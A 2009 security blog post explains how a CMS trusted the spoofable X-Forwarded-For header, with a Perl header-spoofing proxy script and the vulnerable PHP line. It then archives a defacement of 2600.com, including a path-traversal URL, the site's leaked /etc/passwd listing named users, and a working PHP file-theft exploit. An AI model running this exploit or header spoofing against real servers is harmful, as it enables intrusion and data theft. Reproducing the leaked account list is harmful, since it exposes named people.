Monday, April 13, 2009

User input, by any other name

2494693462_b5bdd4af54_o A friend of mine posed me an interesting question: how is it possible that a CMS software, which displayed the IP addresses for comments made anonymously (instead of the username) showed a private IP (like 172.16.63.15)? Before I get to the actual explanation, here are some specific clarifications which should be made:

  • IP addresses are not a 100% reliable unique identifier. Well known methods of circumventing such restrictions are dynamic IP addresses and proxy servers. A less well-known method is BGP hijacking for example. These couldn’t have been the method used however, because almost any router (hopefully) would have dropped the packets containing private addresses.
  • Make sure that the IP addresses are actually private. The actual private IP ranges are the following (as defined by section 3 of RFC 1918):
    • 10.0.0.0 - 10.255.255.255
    • 172.16.0.0. - 172.31.255.255
    • 192.168.0.0 - 192.168.255.255
    It is easy for someone not working daily with these ranges to mistake an IP close to these ranges as private, like 196.168.1.2. An other source of confusion can come from the less intuitive range for the B class (for example the address 172.15.80.1 is public and routable)

Now for the actual cause: my first (and, as it turns out, correct) intuition was that the software was trying to be too clever for its own good and was parsing the “X-Forwarded-For” header. This header can be added by proxies to indicate the original source of the request, but – as other user input – can be relatively easily spoofed by the client. For example below is a small Perl script, which uses HTTP::Proxy and adds an arbitrary X-Forwarded-For header to your requests (you can find the most up-to-date version of the script in my SVN repository):


#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;
use Data::Dumper;

my $proxy = HTTP::Proxy->new;
$proxy->x_forwarded_for(0);
$proxy->port(3128);
$proxy->push_filter(
 mime    => undef,
 request => HTTP::Proxy::HeaderFilter::simple->new(
  sub { $_[1]->header('X-Forwarded-For' => '10.1.2.3') },
    ),
);
$proxy->start;

There are a couple of issues here:

  • PHP mixes values of different “trust levels” in the same structure. In fact the, the actual code from the project looked like this: if (!array_key_exists('ip', $this->arrCache)) { $this->arrCache['ip'] = strlen($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; }. As you can see, both REMOTE_ADDR and X_FORWARDED_FOR were obtained from the same array, even though REMOTE_ADDR is much more trust-worthy (not counting issues like route-hijacking)
  • The next logical question would be: what sanitization is done on this value? I didn’t dig more deeply in the code, but judging from the code-fragment, not very much. In fact, if I recall correctly, this header can contain multiple IP addresses if the request passed trough multiple proxies, a case which doesn’t seem to be handled by this code. It can contain IPv6 addresses. It also can contain characters which can cause problems if the value is used in a certain way (think SQL injection or command injection)

The conclusion is that you must take great care in determining which input parameter can be controlled by whom and under what condition and make your judgment call on filtering and escaping depending on that. When in doubt, filter. It is better to loose a couple of milliseconds in performance than ending up with a p0wned infrastructure.

Update: An other possible dangerous situation can be when a reverse proxy is in front of one or more webservers. With this setup the developer can easily get the impression that the X-Forwarded-For header is controlled by our proxy, so it is safe to use the values from it without filtering, right? Wrong! A quick look at two widely used solutions (Apache and Squid) show that both can be configured to concatenate the user supplied value with the IP address. In fact, this is the default behaviour for mod_proxy.

Speaking of p0wned infrastructure, apparently 2600.com was defaced for a short period of time in the weekend and contained the following piece of output (archived for posterity):


Go Hack Tetris!

o_O

O_o

^_O

www.gosu.pl/tetris/


http://www.2600.com/cuba/index.khtml?post=.///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/passwd

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
ftp:*:21:21:Anonymous FTP:/u/ftp:/sbin/nologin
sshd:*:22:65533:sshd unprivileged processes:/:/sbin/nologin
postfix:*:25:25:Postfix Mail System:/nonexistent:/nonexistent
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
apache:*:80:80:Apache:/nonexistent:/sbin/nologin
apache2:*:8080:80:Apache:/nonexistent:/sbin/nologin
webstats:*:81:83:Web Statistics:/nonexistent:/sbin/nologin
thttpd:*:82:82:thttpd web server:/nonexistent:/sbin/nologin
htproxy:*:85:85:http proxy server:/nonexistent:/sbin/nologin
audit:*:87:87:system audit processes:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin
namazu:*:89:89:Namazu Database:/var/db/namazu:/sbin/nologin
apache2:*:90:90:World Wide Web Owner:/nonexistent:/sbin/nologin
ash:*:1000:1000:ash:/home/ash:/bin/tcsh
emmanuel:*:1001:20:emmanuel:/home/emmanuel:/bin/tcsh
mec:*:1002:1002:mec:/home/mec:/sbin/nologin
omar:*:1003:1003:omar:/home/omar:/sbin/nologin
marko:*:1004:1004:marko:/home/marko:/sbin/nologin
kerry:*:1005:1005:kerry:/home/kerry:/bin/tcsh
juintz:*:1006:1006:juintz:/home/juintz:/bin/tcsh
css:*:1007:1007:carl shapiro:/home/css:/bin/tcsh
kpx:*:1008:1008:kpx:/home/kpx:/sbin/nologin
lgonze:*:1009:1009:lgonze:/home/lgonze:/sbin/nologin
mlc:*:1010:1010:mlc:/home/mlc:/bin/tcsh
ashcroft:*:1011:1011:ashcroft:/home/ashcroft:/usr/local/bin/noshell
ortbot:*:2001:2001:www.ortinstitute.org automated processes:/nonexistent:/sbin/nologin
lexnex:*:2002:2002:lexnex:/home/lexnex:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sephail:*:1012:1012:Joseph Battaglia:/home/sephail:/sbin/nologin
redhackt:*:1013:1013:Red Hackt:/home/redhackt:/bin/tcsh
thedave:*:1014:1014:Dave Buchwald:/home/thedave:/bin/tcsh
phiber:*:1015:1015:Phiber:/home/phiber:/bin/tcsh
mark:*:1016:1016:Mark:/home/mark:/usr/local/bin/bash

<?php

// current path: $webroot = "/u/www/www.2600.com";

$file = '../../../etc/passwd';
// file can also be a directory name (must end with a slash) - gives directory structure, file_get_contents bug??
// its a little obfuscated with some random chars, but readable

// ------

$save = 'sources/';

$url = 'http://www.2600.com/cuba/index.khtml?post=';
$post = './/../../'.$file;

$overflow = 993;

while (strlen($post) < $overflow) {
    $post = str_replace('.//', './//', $post);
}

$url = $url . $post;

$cont = curl_cont($url);

preg_match('#<div id=\'blog\'>\s*<strong>[^<>]+</strong>\s*<br>([\s\S]+)</div>\s*<div class=\'clears\'>\s*</div>#Ui', $cont, $match);
$cont = $match[1];
$cont = preg_replace('#(\r\n|\n|\r)<br>(\r\n|\n|\r)(\r\n|\n|\r)<br>(\r\n|\n|\r)#', "\r\n\r\n", $cont);
$cont = preg_replace('#<br>(\r\n|\n|\r)#', "\r\n", $cont);
$cont = trim($cont);

if (!$cont) {
    echo 'failed';
    exit;
}

highlight_string($cont);

if (!function_exists('fput')) {
    function fput($f, $s)
    {
        $fp = fopen($f, 'w');
        fwrite($fp, $s);
        fclose($fp);
    }
}

$file = str_replace('http://www.2600.com/cuba/index.khtml?post=', '', $url);
$file = str_replace('../', '', $file);
$file = str_replace('./', '', $file);
$file = preg_replace('#/{2,}#', '', $file);
$file = str_replace('/', '-', $file);

if (!$file) {
    $file = '__index';
}
if ($file) {
    $file = $save.$file;
    if (!file_exists($file)) {
        @fput($file, $cont);
    }
}

function curl_cont($url, $options = array())
{
    $page = curl_get($url, $options);
    if (200 == $page['http_code']) {
        return $page['cont'];
    }
    return null;
}
function curl_get($url, $options = array())
{
    $url = str_replace(' ', '%20', $url);
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_HEADER, isset($options['include_header']) ? $options['include_header'] : 0);
    if (substr($url, 0, strlen('https')) == 'https') {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($options['userpwd'])) {
        curl_setopt($ch, CURLOPT_USERPWD, $options['userpwd']);
    }
    if (isset($options['timeout'])) {
        $timeout = ceil($options['timeout']);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    }
    if (isset($options['max_size'])) {
        $range = "0-{$options['max_size']}";
        curl_setopt($ch, CURLOPT_RANGE, $range);
    }
    if (isset($options['referer'])) {
        curl_setopt($ch, CURLOPT_REFERER, $options['referer']);
    }
    // example agent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'
    if (isset($options['agent'])) {
        curl_setopt($ch, CURLOPT_USERAGENT, $options['agent']);
    }
    if (isset($options['headers'])) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $options['headers']);
    }
    if (isset($options['cookie']) && count($options['cookie'])) {
        $cookie = '';
        foreach ($options['cookie'] as $name => $value) {
            $cookie .= sprintf('%s=%s; ', $name, urlencode($value));
        }
        $cookie = trim($cookie);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }

    $cont = curl_exec($ch);
    $error = curl_error($ch);
    if ($error) {
        trigger_error('curl_exec() failed: '.$error, E_USER_ERROR);
    }
    $inf = curl_getinfo($ch);
    $inf['cont'] = $cont;
    curl_close($ch);

    return $inf;
}

?> 

Picture taken from Simon Strandgaard's photostream with permission.

No comments:

Post a Comment